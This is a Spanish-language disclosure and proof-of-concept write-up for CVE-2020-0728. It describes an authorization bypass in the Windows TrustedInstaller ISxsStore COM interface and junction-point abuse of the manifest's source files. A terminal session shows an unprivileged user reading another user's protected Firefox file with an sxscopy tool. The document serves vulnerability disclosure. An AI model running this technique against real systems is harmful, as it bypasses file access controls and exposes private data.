
Código de prueba de concepto para CVE-2020-0728
El servicio TrustedInstaller.exe se ejecuta como NT_AUTHORITY\SYSTEM y aloja el servicio COM Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) junto con la interfaz ISxsStore.
Los permisos de acceso (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) de este servicio conceden acceso a cualquier usuario
del sistema local.
La interfaz ISxsStore expone 4 métodos:
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
Al ser invocada, la implementación llama a la interfaz ICbsWorker alojada por TiWorker.exe (también ejecutándose como NT_AUTHORITY\SYSTEM) para obtener una sesión ICbsSession8 y luego prácticamente llama a los mismos métodos en esa interfaz.
La lógica real está implementada en la biblioteca sxsstore.dll; la autorización se puede encontrar en CSxsStore::BeginAssemblyInstall:
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
Esto se hace mediante llamadas a CoImpersonateClient+CheckTokenMembership.
El problema es que, si la sesión alojada por el proceso TiWorker.exe se invoca a través del contenedor TrustedInstaller.exe, la lógica de autorización implementada siempre encuentra conexiones de NT_AUTHORITY\SYSTEM y por lo tanto concede acceso a cualquiera.
Los ensamblados solicitados para instalación se colocan bajo C:\Windows\WinSXS por la implementación residente en wcp.dll (Windows::COM::CComponentStore::InternalTransact) y parece contar con medidas de seguridad suficientes para evitar que estas llamadas a métodos escapen de este directorio de destino legítimo, pero los archivos de origen referenciados por el manifiesto pueden ser abusados mediante junction points.
Esto puede explotarse para omitir los DAC del sistema de archivos y leer cualquier archivo del sistema de archivos local, como se demuestra a continuación:
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
El framework wcp es en realidad bastante complejo y cuenta con varios 'installers' (p. ej. ejecución de GenericCommand entre los 'avanzados'), pero la interfaz accesible anteriormente parece estar limitada solo a los 'installers primitivos'. Pude provocar la ejecución de CRegistryInstaller::CommitChanges que emitía un registro en C:\Windows\Logs\CBS\CBS.log, con líneas como:
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
Pero en realidad nunca llamó a ningún método de API para cambiar nada en el registro.
El informe anterior junto con el código PoC fue enviado por Imre Rad, pero también fue identificado por investigadores de NCC (de hecho, unos meses antes).
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728